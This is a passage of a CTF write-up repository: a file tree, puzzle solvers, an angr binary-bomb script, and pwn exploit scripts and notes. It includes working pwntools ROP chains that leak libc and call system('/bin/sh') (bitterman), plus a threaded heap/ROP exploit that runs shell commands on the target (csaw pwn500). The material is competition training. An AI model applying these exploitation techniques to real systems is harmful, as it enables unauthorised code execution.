├── 9774-ctf └── polydata │ ├── check_win.py │ ├── test_tsp.py │ └── win.py ├── README.md ├── campctf-2015 └── bitterman-pwn-400 │ ├── .gdb_history │ ├── README.md │ ├── bitterman │ ├── libc.so.6 │ └── win.py ├── cmu-binary-bomb ├── .envrc ├── bomb ├── flag2.py ├── flake.lock └── flake.nix ├── csaw-2016 └── pwn500 │ ├── moms_spaghetti │ ├── win.py │ ├── writeup0.py │ ├── writeup1.py │ ├── writeup2.py │ └── writeup3.py ├── defcon-openctf-2015 ├── runic │ ├── README.md │ ├── runic │ ├── runic.png │ └── win.py └── sigil │ ├── .gdb_history │ ├── README.md │ ├── sigil │ ├── sigil.png │ └── win.py ├── flareon-2018 ├── level5 │ ├── README.md │ ├── index.html │ ├── log-all.js │ ├── main.js │ ├── test.wasabi.js │ └── test.wasm └── level6 │ ├── README.md │ ├── magic000 │ ├── magic001 │ ├── magic002 │ ├── magic003 │ ├── magic004 │ ├── magic005 │ ├── magic006 │ ├── magic007 │ ├── magic008 │ ├── magic009 │ ├── reconstruct.py │ ├── small_win.py │ ├── small_win2.py │ ├── small_win3.py │ ├── small_win4.py │ └── small_win5.py ├── holidayhack-2015 ├── .DS_Store ├── firmware.bin ├── gnomes │ ├── 1_52.2.229.189 │ │ ├── .DS_Store │ │ ├── 20141226101055_1.pcap │ │ ├── 52.2.229.189_out.gnmap │ │ ├── 52.2.229.189_out.nmap │ │ ├── 52.2.229.189_out.xml │ │ ├── camera_feed.png │ │ ├── camera_feed_overlap_error.png │ │ ├── factory_cam_1.png │ │ ├── from_pcap │ │ ├── from_pcap.raw │ │ ├── gnome.conf │ │ ├── sgnet │ │ │ ├── sgnet.c │ │ │ ├── sgnet.h │ │ │ ├── sgstatd.c │ │ │ └── sgstatd.h │ │ ├── stream_1_picture │ │ └── xored.png │ ├── 2_52.34.3.80 │ │ ├── 20150225093040_2.pcap │ │ ├── 52.34.3.80_out.gnmap │ │ ├── 52.34.3.80_out.nmap │ │ ├── 52.34.3.80_out.xml │ │ ├── factory_cam_2.png │ │ ├── from_pcap │ │ ├── from_pcap.raw │ │ ├── gnome.conf │ │ ├── gnome_release_notes.txt │ │ ├── m977tny_3.jpg │ │ ├── notes │ │ ├── sgnet.c │ │ ├── sgnet.h │ │ ├── sgstatd.c │ │ ├── sgstatd.h │ │ ├── sniffer_hit_list.txt │ │ └── win.py │ ├── 3_52.64.191.71 │ │ ├── 20151201113358_3.pcap │ │ ├── factory_cam_3.png │ │ ├── from_pcap │ │ ├── from_pcap.raw │ │ ├── gnome.conf │ │ ├── portscan.gnmap │ │ ├── portscan.nmap │ │ └── portscan.xml │ ├── 4_52.192.152.132 │ │ ├── 20151203133818_4.pcap │ │ ├── factory_cam_4.png │ │ ├── files │ │ ├── from_pcap │ │ ├── from_pcap.raw │ │ ├── gnome.conf │ │ ├── portscan.gnmap │ │ ├── portscan.nmap │ │ └── portscan.xml │ ├── 5_54.233.105.81 │ │ ├── 20151215161015_5.pcap │ │ ├── factory_cam_5.png │ │ ├── from_pcap │ │ ├── from_pcap.raw │ │ ├── gnome.conf │ │ ├── portscan.gnmap │ │ ├── portscan.nmap │ │ ├── portscan.xml │ │ ├── win-findpeersh.py │ │ └── win.py │ ├── camera_feed.png │ ├── factory_cam_1.png │ ├── factory_cam_2.png │ ├── factory_cam_3.png │ ├── factory_cam_4.png │ ├── factory_cam_5.png │ ├── xor_images.py │ └── xored.png ├── notes ├── part1 │ ├── base64.png │ ├── gnome.pcap │ ├── output │ ├── output2 │ ├── parse_pcap.py │ ├── picture.jpg │ ├── response_1337.png │ └── test.py └── response ├── houseccon-2015-august ├── README.md ├── dial │ ├── check.py │ ├── dialer.cs │ └── make-prefixes.py └── pics │ ├── admin-panel.png │ ├── cap.png │ └── xss-1.png ├── mmactf-2015 ├── moneygame │ ├── README.md │ ├── libc-2.19.so │ ├── moneygame │ ├── moneygame-patched │ ├── patch.py │ ├── srand.png │ └── win.py └── rps │ ├── rps │ ├── test.py │ └── win.py ├── pico-ctf-2014 ├── README.md ├── hlextend.py ├── hlextend.pyc ├── phpscript.php ├── steves_list_backup.zip ├── steves_list_backup │ ├── Steve.png │ ├── cookies.php │ ├── includes │ │ └── classes.php │ ├── index.php │ ├── posts │ │ └── steve.txt │ ├── root_data.php │ └── templates │ │ ├── footer.php │ │ ├── header.php │ │ └── view_posts.php └── win.py ├── polictf-2015 ├── johns-library │ ├── README.md │ ├── johns-library │ └── win.py └── johns-shuffle │ ├── .gdb_history │ ├── README.md │ ├── johns-shuffle │ └── win.py ├── saintcon-pre-4 ├── README.md ├── cryptex.jpg ├── hc4.pdf ├── tumblers.png └── win.py ├── seccon-ctf-2014 └── lets-disassemble │ ├── README.md │ ├── find_language.py │ └── win.py ├── vulnhub └── brainpan3 │ ├── README.md │ ├── cryptor-buff1.png │ ├── cryptor-buff2.png │ ├── make-pwnmsg.py │ ├── msg_admin_gadgets │ ├── repo-directory.png │ └── win.py └── whitehat-2016 └── pwn3 ├── libc-2.19.so ├── readfile ├── win_1.py ├── win_2.py ├── win_3.py ├── win_4.py └── win_5.py /9774-ctf/polydata/test_tsp.py: -------------------------------------------------------------------------------- 1 | from tsp_solver.greedy import solve_tsp 2 | 3 | #Prepare the square symmetric distance matrix for 3 nodes: 4 | # Distance from 0 to 1 is 1.0 5 | # 1 to 2 is 3.0 6 | # 0 to 2 is 2.0 7 | D = [[ 0, 1.0, 2.0], 8 | [ 1.0, 0, 3.0], 9 | [ 2.0, 3.0, 0]] 10 | 11 | path = solve_tsp( D ) 12 | 13 | # will print [1,0,2], path with total length of 3.0 units 14 | print path 15 | -------------------------------------------------------------------------------- /9774-ctf/polydata/win.py: -------------------------------------------------------------------------------- 1 | from tsp_solver.greedy import solve_tsp 2 | from itertools import permutations as perm 3 | from itertools import combinations as comb 4 | import random 5 | def maxsubseq(seq): 6 | '''Solve max subsequence sum''' 7 | return sum(max((seq[begin:end] for begin in xrange(len(seq)+1) 8 | for end in xrange(begin, len(seq)+1)), 9 | key=sum)) 10 | 11 | """ 12 | Unbounded Knapsack 13 | def knapsack(items, C): 14 | '''Solve 0/1 knapsack''' 15 | NAME, SIZE, VALUE = range(3) 16 | # order by max value per item size 17 | # for item in items: 18 | # print '[{}] V: {} S: {}'.format(item, item[VALUE], item[SIZE]) 19 | items = sorted(items, key=lambda item: item[VALUE]/float(item[SIZE]), reverse=True) 20 | 21 | # Sack keeps track of max value so far as well as the count of each item in the sack 22 | sack = [(0, [0 for i in items]) for i in range(0, C+1)] # value, [item counts] 23 | 24 | for i,item in enumerate(items): 25 | name, size, value = item 26 | for c in range(size, C+1): 27 | sackwithout = sack[c-size] # previous max sack to try adding this item to 28 | trial = sackwithout[0] + value 29 | used = sackwithout[1][i] 30 | if sack[c][0] < trial: 31 | # old max sack with this added item is better 32 | sack[c] = (trial, sackwithout[1][:]) 33 | sack[c][1][i] +=1 # use one more 34 | 35 | value, bagged = sack[C] 36 | numbagged = sum(bagged) 37 | size = sum(items[i][1]*n for i,n in enumerate(bagged)) 38 | # convert to (iten, count) pairs) in name order 39 | bagged = sorted((items[i][NAME], n) for i,n in enumerate(bagged) if n) 40 | 41 | return value, size, numbagged, bagged 42 | """ 43 | 44 | def totalvalue(comb): 45 | ' Totalise a particular combination of items' 46 | totwt = totval = 0 47 | for item, wt, val in comb: 48 | totwt += wt 49 | totval += val 50 | return (totval, -totwt) if totwt <= 400 else (0, 0) 51 | 52 | def knapsack(items, limit): 53 | table = [[0 for w in range(limit + 1)] for j in xrange(len(items) + 1)] 54 | 55 | for j in xrange(1, len(items) + 1): 56 | item, wt, val = items[j-1] 57 | for w in xrange(1, limit + 1): 58 | if wt > w: 59 | table[j][w] = table[j-1][w] 60 | else: 61 | table[j][w] = max(table[j-1][w], 62 | table[j-1][w-wt] + val) 63 | 64 | result = [] 65 | w = limit 66 | for j in range(len(items), 0, -1): 67 | was_added = table[j][w] != table[j-1][w] 68 | 69 | if was_added: 70 | item, wt, val = items[j-1] 71 | result.append(items[j-1]) 72 | w -= wt 73 | 74 | return result 75 | 76 | 77 | 78 | def create_graph(seq): 79 | '''Utility function to create the matrix for tsp_solver''' 80 | # Make the graph 0 indexed, not 1 indexed for tsp_solver 81 | curr_seq = seq[:] 82 | for index,num in enumerate(curr_seq): 83 | if index%3 != 2: 84 | curr_seq[index] = curr_seq[index]-1 85 | num_nodes = len(curr_seq) / 3 86 | graph = [[999]*num_nodes for _ in xrange(num_nodes)] 87 | nodes = [curr_seq[x:x+3] for x in xrange(0,len(curr_seq),3)] 88 | for n1, n2, weight in nodes: 89 | graph[n1][n2] = weight 90 | graph[n2][n1] = weight 91 | return graph 92 | 93 | def init_knapsack(seq): 94 | '''Convert our sequence into input for the knapsack solver''' 95 | capacity = seq[0] 96 | items = [seq[x:x+2] for x in xrange(1, len(seq), 2)] 97 | items = [(chr(index+0x41), item[0], item[1]) for index, item in enumerate(items)] 98 | return capacity, items 99 | 100 | def path_to_weight(path, graph): 101 | '''Sum the weights of the TSP path''' 102 | edges = [path[x:x+2] for x in xrange(len(path)-1)] 103 | return sum(graph[n1][n2] for n1,n2 in edges) 104 | 105 | def answer_knapsack(seq): 106 | '''Top level function for knapsack''' 107 | # bagged = knapsack(items, 400) 108 | # val, wt = totalvalue(bagged) 109 | 110 | capacity, items = init_knapsack(seq) 111 | return knapsack(items, capacity)[0][2] 112 | 113 | def answer_tsp(seq): 114 | '''Top level function for TSP''' 115 | graph = create_graph(seq) 116 | path = solve_tsp(graph) 117 | return path_to_weight(path, graph) 118 | 119 | """ 120 | Knowledge: 121 | Knapsack weights must be positive, which means every even number 122 | in the sequence must be positive. 123 | 124 | Only odd sequences where len(seq) % 3 == 0 can be used, because 125 | Knapsack requires odd number sequences (Capacity + 2*) and TSP 126 | requires sequences to be mod % 3 == 0 127 | 128 | Sequence of 9: 129 | [1, 2, 3, 3, 1, 1, 2, 3, 1] 130 | Knap Cap V1 W1 V2 W2 V3 W3 V4 W4 131 | TSP N1 N2 WeigN3 N1 WeigN2 N3 Weig 132 | """ 133 | 134 | def get_edges(node_count): 135 | nums = [0]*20 136 | for index, num in enumerate(nums): 137 | if node_count == (index+1): 138 | return index+num 139 | nums[index+1] = index+num 140 | 141 | lowest = 9999 142 | lowest_str = '' 143 | nodes = 5 144 | while True: 145 | for nodes in xrange(5, 10): 146 | for num_edges in xrange(5, get_edges(nodes)): 147 | for edges in perm(perm(xrange(1, nodes+1), 2), num_edges): 148 | while True: 149 | curr_seq = [] 150 | curr_rand = 0 151 | 152 | for index,edge in enumerate(edges): 153 | curr_seq += list(edge) 154 | curr_rand = random.randint(-10, 10) 155 | curr_seq.append(curr_rand) 156 | 157 | if [x for x in curr_seq[1::2] if x <= 0]: 158 | continue 159 | break 160 | 161 | edges = [tuple(curr_seq[x:x+2]) for x in xrange(len(curr_seq)) if x % 3 == 0] 162 | 163 | # Ensure we don't have double edges in our sequence 164 | bad = False 165 | for n1, n2 in edges: 166 | if (n2, n1) in edges: 167 | bad = True 168 | if bad: 169 | continue 170 | 171 | try: 172 | knapsack_ans = answer_knapsack(curr_seq) 173 | maxsub_ans = maxsubseq(curr_seq) 174 | tsp_ans = answer_tsp(curr_seq) 175 | delta = max(maxsub_ans, tsp_ans, knapsack_ans)\ 176 | - min(maxsub_ans, tsp_ans, knapsack_ans) 177 | if delta < lowest: 178 | print "{} TSP: {} KS: {} MS: {}\n{}".format(str(curr_seq).replace('[','').replace(']','').replace(',', ' '), tsp_ans, knapsack_ans, maxsub_ans, curr_seq) 179 | lowest = delta 180 | lowest_str = "{} TSP: {} KS: {} MS: {}".format(curr_seq, tsp_ans, knapsack_ans, maxsub_ans) 181 | if tsp_ans == knapsack_ans == maxsub_ans: 182 | raw_input("FOUND IT") 183 | except IndexError: 184 | continue 185 | 186 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Quick writeups 2 | 3 | #### Haxdump 2015 - pwnxy 4 | Requests a page via a given GET request. The request results is placed directly into a printf, resulting in a string format vuln. From the vuln, overwrite the `exit` entry in the GOT with a static stack address to execute code from the GET request 5 | 6 | #### P_KR 7 | "My first overflow" style. Simply give `0xCAFEBABE` 14 times in order to overwrite the local variable 8 | 9 | Client/Server problem to implement a binary search in order to find a random number in a range of numbers 10 | 11 | Input a username and two passcodes in order to "login". Using the username field, overwrite the pointer to where the first passcode writes. Use the first passcode field to overwrite the `exit` entry in the GOT with the address of the `system('/bin/sh')` provided in the binary 12 | 13 | Input a password, it is xor'ed with a key and if it matches the password from a file, you win. Logic error in setting a file descriptor while comparing the result. Missing parentheses allowed the attacker to control both the input password and the password used to check against. 14 | 15 | Give a base64 encoded message, and get the md5 sum of the original message. Stack canaries are on. There is a "captcha" before sending your message that is calculated with the stack canary. Random is also seeded with time(), which we also know because we have access to the server itself. Knowing this, we can calculate the calculate the stack canary ourselves. The base64 decode function allows an overflow to happen. The decoded message contains the canary at the correct location, and then a ret2system was easy peasy. 16 | 17 | Implementation of the brainfuck language. Use the pointer to leak the address of `puts` then overwrite `puts` with the address of a few instructions after `puts` in `main`. Send a second `bf` instruction with our rop payload of `system('/bin/sh')` from their libc. Overwrite `puts` a second time with a stack pivot to add to esp and reach our `system` call. `PROFIT!` 18 | -------------------------------------------------------------------------------- /campctf-2015/bitterman-pwn-400/.gdb_history: -------------------------------------------------------------------------------- 1 | c 2 | q 3 | c 4 | c 5 | q 6 | c 7 | c 8 | c 9 | c 10 | q 11 | -------------------------------------------------------------------------------- /campctf-2015/bitterman-pwn-400/README.md: -------------------------------------------------------------------------------- 1 | # Bitterman 2 | 3 | ## Recon 4 | 5 | Upon connecting, we are given a prompt which asks for the following items: 6 | * Name 7 | * Length of a message 8 | * The message itself 9 | 10 | As per normal, let's try the low hanging fruit of throwing lots of data at each field to see if we get a crash. 11 | 12 | Turns out, if we say that we will send 1024 bytes and send 1024 bytes, we crash *shrug* (If there is time after the CTF, I'll go back and see what exactly caused the crash) 13 | 14 | ## Exploit 15 | 16 | Because NX is turned on, we need to do some fancy ROP. Our ROP strategy is below: 17 | * Leak a libc address via ROPing to `puts()` with `puts` as the parameter. 18 | - This will return the address of `puts` in the libc the binary is using. 19 | - We can calculate the libc base address since we were given their libc in the problem (leaked_libc_read_address - original_libc_from_challenge = base_libc_on_server) 20 | * Call main so we can re-exploit with the knowledge of the libc base address. 21 | 22 | This ROP construction is here: 23 | ```python 24 | from pwn import * 25 | 26 | elf = ELF('./bitterman') 27 | rop = ROP(elf) 28 | 29 | rop.puts(elf.got['puts']) 30 | rop.call(elf.symbols['main']) 31 | 32 | print rop.dump() 33 | ``` 34 | 35 | Leaking the address from this ROP chain and rebasing the libc address in pwntools is below: 36 | ```python 37 | # Be sure to add the zeros that we miss due to string read 38 | # Grab the first 8 bytes of our output buffer 39 | leaked_puts = r.recv()[:8].strip().ljust(8, '\x00') 40 | 41 | # Convert to integer 42 | leaked_puts = struct.unpack('Q', leaked_puts)[0] 43 | 44 | # Rebase libc to the leaked offset 45 | libc.address = leaked_puts - libc.symbols['puts'] 46 | ``` 47 | 48 | From here, we can create a second ROP which will simply call `system` with `/bin/sh`. Luckily, `/bin/sh` is in libc, so we simply find where that string is, and call `system` with it. 49 | 50 | The second ROP construction is below: 51 | 52 | ```python 53 | # Create new ROP object with rebased libc 54 | rop2 = ROP(libc) 55 | 56 | # Call system('/bin/sh') 57 | rop2.system(next(libc.search('/bin/sh\x00'))) 58 | 59 | print rop2.dump() 60 | ``` 61 | 62 | Our shell is received and the flag is given: 63 | 64 | ```python 65 | $ ls 66 | bitterman 67 | flag.txt 68 | run.sh 69 | $ cat flag.txt 70 | CAMP15_a786be6aca70bfd19b6af86133991f80 71 | ``` 72 | -------------------------------------------------------------------------------- /campctf-2015/bitterman-pwn-400/bitterman: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/campctf-2015/bitterman-pwn-400/bitterman -------------------------------------------------------------------------------- /campctf-2015/bitterman-pwn-400/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/campctf-2015/bitterman-pwn-400/libc.so.6 -------------------------------------------------------------------------------- /campctf-2015/bitterman-pwn-400/win.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import struct 3 | context(arch='amd64') 4 | 5 | r = process('./bitterman') 6 | # r = remote('challs.campctf.ccc.ac','10103') 7 | 8 | elf = ELF('./bitterman') 9 | libc = ELF('libc.so.6') 10 | # libc = ELF('libc-2.19.so') 11 | rop = ROP(elf) 12 | 13 | """ 14 | gdb.attach(r, ''' 15 | bp 0x400704 16 | ''') 17 | """ 18 | 19 | print r.recv() 20 | 21 | # raw_input() 22 | ### Stack address leaked when filling the name buffer to its max (64 bytes) 23 | # r.sendline('a' * 64) 24 | # leak = r.recv().split()[1][64:72] 25 | r.sendline('') 26 | r.recv() 27 | 28 | r.sendline('1024') 29 | 30 | #### 31 | # Leak read from GOT 32 | # Call main to rethrow exploit with magic libc gadget 33 | ### 34 | rop.puts(elf.got['puts']) 35 | rop.call(elf.symbols['main']) 36 | 37 | log.info("ROP 1 - read( puts() from GOT); call main") 38 | print rop.dump() 39 | 40 | """ 41 | RIP 0x4007e1 (main+245) <-- ret 42 | [-------------------------------CODE-------------------------------] 43 | => 0x4007e1 ret 44 | [------------------------------STACK-------------------------------] 45 | 00:0000| rsp 0x7fffffffdaf8 <-- 'naaboaabpaabqaa...' 46 | """ 47 | 48 | shellcode = 'B' * (cyclic_find(unhex('6261616f')[::-1]) - 4) 49 | # shellcode = 'B' * (cyclic_find('oaab') - 4) 50 | shellcode += str(rop) 51 | 52 | r.clean() 53 | r.sendline(shellcode) 54 | 55 | r.recvuntil('Thanks!') 56 | 57 | log.info("Sending stage two") 58 | 59 | # Be sure to add the zeros that we miss due to string read 60 | leaked_puts = r.recv()[:8].strip().ljust(8, '\x00') 61 | log.info("Leak: {}".format(repr(leaked_puts))) 62 | leaked_puts = struct.unpack('Q', leaked_puts)[0] 63 | 64 | # Reset libc to the leaked offset 65 | libc.address = leaked_puts - libc.symbols['puts'] 66 | log.info('Libc address: {}'.format(hex(libc.address))) 67 | 68 | # Create new ROP object with rebased libc 69 | rop2 = ROP(libc) 70 | 71 | # Call system('/bin/sh') 72 | rop2.system(next(libc.search('/bin/sh\x00'))) 73 | 74 | log.info("ROP 2:") 75 | print rop2.dump() 76 | 77 | r.clean() 78 | raw_input('name') 79 | r.sendline('') 80 | raw_input('length') 81 | r.sendline('1024') 82 | 83 | shellcode = 'B' * (cyclic_find(unhex('6261616f')[::-1]) - 4) 84 | shellcode += str(rop2) 85 | 86 | raw_input('send?') 87 | r.sendline(shellcode) 88 | 89 | r.interactive() 90 | -------------------------------------------------------------------------------- /cmu-binary-bomb/.envrc: -------------------------------------------------------------------------------- 1 | use flake 2 | -------------------------------------------------------------------------------- /cmu-binary-bomb/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/cmu-binary-bomb/bomb -------------------------------------------------------------------------------- /cmu-binary-bomb/flag2.py: -------------------------------------------------------------------------------- 1 | ## Full writeup found on http://www.ctfhacker.com 2 | ## Binary found here: http://csapp.cs.cmu.edu/3e/bomb.tar 3 | 4 | import angr 5 | import logging 6 | import claripy 7 | 8 | def main(): 9 | proj = angr.Project('bomb', auto_load_libs=False) 10 | 11 | logging.basicConfig() 12 | logging.getLogger('angr.surveyors.explorer').setLevel(logging.DEBUG) 13 | 14 | bomb_explode = 0x40143a 15 | 16 | # Start analysis at the phase_2 function after the sscanf 17 | state = proj.factory.blank_state(addr=0x400f0a) 18 | 19 | # Sscanf is looking for '%d %d %d %d %d %d' which ends up dropping 6 ints onto the stack 20 | # We will create 6 symbolic values onto the stack to mimic this 21 | for i in range(6): 22 | state.memory.store(state.regs.rsp + i * 4, state.solver.BVS(f'int{i}', 32)) 23 | 24 | # Attempt to find a path to the end of the phase_2 function while avoiding the bomb_explode 25 | ex = proj.factory.simulation_manager(state) 26 | ex.explore(find=0x400f3c, avoid=bomb_explode) 27 | 28 | if ex.found: 29 | found = ex.found[0] 30 | 31 | answer = [] 32 | 33 | for _ in range(3): 34 | curr_int = found.solver.eval(found.stack_pop()) 35 | 36 | # We are popping off 8 bytes at a time 37 | # 0x0000000200000001 38 | 39 | # This is just one way to extract the individual numbers from this popped value 40 | answer.append(str(curr_int & 0xffffffff)) 41 | answer.append(str(curr_int>>32 & 0xffffffff)) 42 | 43 | return ' '.join(answer) 44 | 45 | def test(): 46 | assert main() == '1 2 4 8 16 32' 47 | 48 | if __name__ == '__main__': 49 | print(main()) 50 | -------------------------------------------------------------------------------- /cmu-binary-bomb/flake.lock: -------------------------------------------------------------------------------- 1 | { 2 | "nodes": { 3 | "flake-utils": { 4 | "inputs": { 5 | "systems": "systems" 6 | }, 7 | "locked": { 8 | "lastModified": 1710146030, 9 | "narHash": "sha256-SZ5L6eA7HJ/nmkzGG7/ISclqe6oZdOZTNoesiInkXPQ=", 10 | "owner": "numtide", 11 | "repo": "flake-utils", 12 | "rev": "b1d9ab70662946ef0850d488da1c9019f3a9752a", 13 | "type": "github" 14 | }, 15 | "original": { 16 | "owner": "numtide", 17 | "repo": "flake-utils", 18 | "type": "github" 19 | } 20 | }, 21 | "nixpkgs": { 22 | "locked": { 23 | "lastModified": 1723637854, 24 | "narHash": "sha256-med8+5DSWa2UnOqtdICndjDAEjxr5D7zaIiK4pn0Q7c=", 25 | "owner": "NixOS", 26 | "repo": "nixpkgs", 27 | "rev": "c3aa7b8938b17aebd2deecf7be0636000d62a2b9", 28 | "type": "github" 29 | }, 30 | "original": { 31 | "owner": "NixOS", 32 | "ref": "nixos-unstable", 33 | "repo": "nixpkgs", 34 | "type": "github" 35 | } 36 | }, 37 | "root": { 38 | "inputs": { 39 | "flake-utils": "flake-utils", 40 | "nixpkgs": "nixpkgs" 41 | } 42 | }, 43 | "systems": { 44 | "locked": { 45 | "lastModified": 1681028828, 46 | "narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=", 47 | "owner": "nix-systems", 48 | "repo": "default", 49 | "rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e", 50 | "type": "github" 51 | }, 52 | "original": { 53 | "owner": "nix-systems", 54 | "repo": "default", 55 | "type": "github" 56 | } 57 | } 58 | }, 59 | "root": "root", 60 | "version": 7 61 | } 62 | -------------------------------------------------------------------------------- /cmu-binary-bomb/flake.nix: -------------------------------------------------------------------------------- 1 | { 2 | description = "ctf dev environment"; 3 | 4 | inputs = { 5 | nixpkgs.url = "github:NixOS/nixpkgs/nixos-unstable"; 6 | flake-utils.url = "github:numtide/flake-utils"; 7 | }; 8 | 9 | outputs = { nixpkgs, flake-utils, ... }: 10 | flake-utils.lib.eachDefaultSystem (system: 11 | let 12 | pkgs = import nixpkgs { inherit system; }; 13 | 14 | python = pkgs.python311.withPackages (p: with p; [ 15 | angr 16 | ipython 17 | ipdb 18 | python-lsp-server 19 | ]); 20 | in 21 | { 22 | devShells.default = pkgs.mkShell { 23 | buildInputs = [ 24 | python 25 | pkgs.radare2 26 | ]; 27 | 28 | shellHook = '' 29 | echo "Welcome to the pwn.college dev shell!" 30 | export PYTHONPATH=$PWD 31 | ''; 32 | }; 33 | }); 34 | } 35 | 36 | -------------------------------------------------------------------------------- /csaw-2016/pwn500/moms_spaghetti: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/csaw-2016/pwn500/moms_spaghetti -------------------------------------------------------------------------------- /csaw-2016/pwn500/win.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import socket 3 | import threading 4 | import random 5 | 6 | p = random.randint(20000, 50000) 7 | num_threads = 90 8 | 9 | command = '/bin/ls >&4\0' 10 | # command = '/bin/cat flag.txt >&4\0' 11 | 12 | def thread_listen(port=9999): 13 | l = socket.socket() 14 | # print("About to listen") 15 | l.bind(('0.0.0.0', port)) 16 | l.listen(5) 17 | 18 | for i in xrange(num_threads): 19 | c, _ = l.accept() 20 | if i < 1: 21 | t = threading.Thread(target=thread_send, args=(c, 0xffff, 0x9000)) 22 | else: 23 | t = threading.Thread(target=thread_send, args=(c, 0x20-0x3, 0x3, i)) 24 | t.start() 25 | 26 | def thread_send(c, size1, size2, index=0xffff): 27 | version = p16(1) 28 | 29 | # malloc(size1 + size2 + 8) 30 | # size1 = p16(size1) # 16 bit size 31 | # psize2 = p32(size2) # 32 bit size, must be <= 0x40000000 32 | # header = version + p16(size1) + p32(size2) + '\n\n' 33 | header = version + p16(size1) + p32(size2) 34 | c.send(header) 35 | 36 | recv = p32(0x8048be5) 37 | system = p32(0x80496de) 38 | ret = p32(0x8049702) 39 | adjust = p32(0x80487ee) 40 | 41 | rop = [] 42 | for _ in xrange(50): 43 | rop.append(ret) 44 | rop.append(recv) 45 | rop.append(adjust) 46 | rop.append(p32(4)) # Original thread fd 47 | rop.append(p32(0x804c098)) # Global address to read into 48 | rop.append(p32(len(command))) 49 | rop.append(system) 50 | rop.append(p32(0x804c098)) 51 | rop.append(p32(0x80808080)) # End the copy 52 | 53 | rop = ''.join(rop) 54 | 55 | if size1 == 0xffff: 56 | buff = ['\x11\x22'] 57 | for _ in xrange((size1+size2)/0x200): 58 | buff += '\xff' * (0x200 - len(rop)) 59 | buff += rop 60 | 61 | for i in xrange(len(buff) % 4): 62 | buff += '\x80' 63 | 64 | buff = ''.join(buff) 65 | print(len(buff)) 66 | print(len(buff) % 4 == 0) 67 | c.send(buff) 68 | else: 69 | buff = p8(0xff) * (size1) 70 | buff += p8(0x84) # Signed first bit 71 | buff += p8(0x7f) 72 | buff += p8(0xff) 73 | buff += p8(0xff) 74 | if c: 75 | try: 76 | c.send(buff) 77 | except: 78 | pass 79 | 80 | def start_threads(): 81 | t = threading.Thread(target=thread_listen, args=(p, )) 82 | t.daemon = True 83 | t.start() 84 | return t 85 | 86 | curr_t = start_threads() 87 | 88 | r = remote('172.17.0.6', 24242) 89 | # r = remote('pwn.chal.csaw.io', 8004) 90 | 91 | n_threads = p16(num_threads) 92 | connect_host = socket.inet_aton('172.17.0.1') 93 | 94 | payload = n_threads 95 | payload += p16(p) #port 96 | payload += connect_host 97 | 98 | print("Sending : {}".format(payload)) 99 | r.sendline(payload) 100 | for _ in xrange(10): 101 | r.sendline(command) 102 | 103 | r.interactive() 104 | # curr_t.join() 105 | 106 | -------------------------------------------------------------------------------- /csaw-2016/pwn500/writeup0.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import socket 3 | import threading 4 | import random 5 | 6 | p = random.randint(20000, 50000) 7 | num_threads = 90 8 | 9 | def thread_listen(port=9999): 10 | l = socket.socket() 11 | l.bind(('0.0.0.0', port)) 12 | l.listen(5) 13 | 14 | for i in xrange(num_threads): 15 | c, _ = l.accept() 16 | print(c, _) 17 | 18 | def thread_send(c, size1, size2, index=0xffff): 19 | pass 20 | 21 | def start_threads(): 22 | t = threading.Thread(target=thread_listen, args=(p, )) 23 | t.daemon = True 24 | t.start() 25 | return t 26 | 27 | curr_t = start_threads() 28 | 29 | r = remote('127.0.0.1', 24242) 30 | 31 | n_threads = p16(num_threads) 32 | connect_host = socket.inet_aton('127.0.0.1') 33 | 34 | payload = n_threads 35 | payload += p16(p) # port 36 | payload += connect_host 37 | 38 | r.sendline(payload) 39 | 40 | r.interactive() 41 | -------------------------------------------------------------------------------- /csaw-2016/pwn500/writeup1.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import socket 3 | import threading 4 | import random 5 | import time 6 | 7 | p = random.randint(20000, 50000) 8 | num_threads = 90 9 | 10 | def thread_listen(port=9999): 11 | l = socket.socket() 12 | l.bind(('0.0.0.0', port)) 13 | l.listen(5) 14 | 15 | for i in xrange(num_threads): 16 | conn, _ = l.accept() 17 | print(conn, _) 18 | t = threading.Thread(target=thread_send, args=(conn, 0xad, 0xde00)) 19 | t.start() 20 | 21 | def thread_send(c, size1, size2): 22 | # malloc(size1 + size2 + 8) 23 | # size1 = p16(size1) # 16 bit size 24 | # size2 = p32(size2) # 32 bit size, must be <= 0x40000000 25 | 26 | version = p16(1) 27 | header = version + p16(size1-8) + p32(size2) 28 | c.send(header) 29 | 30 | payload = 'A' * (size1 + size2) 31 | c.send(payload) 32 | 33 | def start_threads(): 34 | t = threading.Thread(target=thread_listen, args=(p, )) 35 | t.daemon = True 36 | t.start() 37 | return t 38 | 39 | curr_t = start_threads() 40 | 41 | r = remote('127.0.0.1', 24242) 42 | 43 | n_threads = p16(num_threads) 44 | connect_host = socket.inet_aton('127.0.0.1') 45 | 46 | payload = n_threads 47 | payload += p16(p) # port 48 | payload += connect_host 49 | 50 | r.sendline(payload) 51 | 52 | r.interactive() 53 | -------------------------------------------------------------------------------- /csaw-2016/pwn500/writeup2.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import socket 3 | import threading 4 | import random 5 | import time 6 | 7 | p = random.randint(20000, 50000) 8 | num_threads = 90 9 | 10 | def thread_listen(port=9999): 11 | l = socket.socket() 12 | l.bind(('0.0.0.0', port)) 13 | l.listen(5) 14 | 15 | for i in xrange(num_threads): 16 | conn, _ = l.accept() 17 | print(conn, _) 18 | if i == 0: 19 | t = threading.Thread(target=thread_send, args=(conn, 0xffff, 0x9000)) 20 | else: 21 | t = threading.Thread(target=thread_send, args=(conn, 0x20-3, 0x3, i)) 22 | 23 | t.start() 24 | 25 | def thread_send(c, size1, size2, index=0xffff): 26 | # 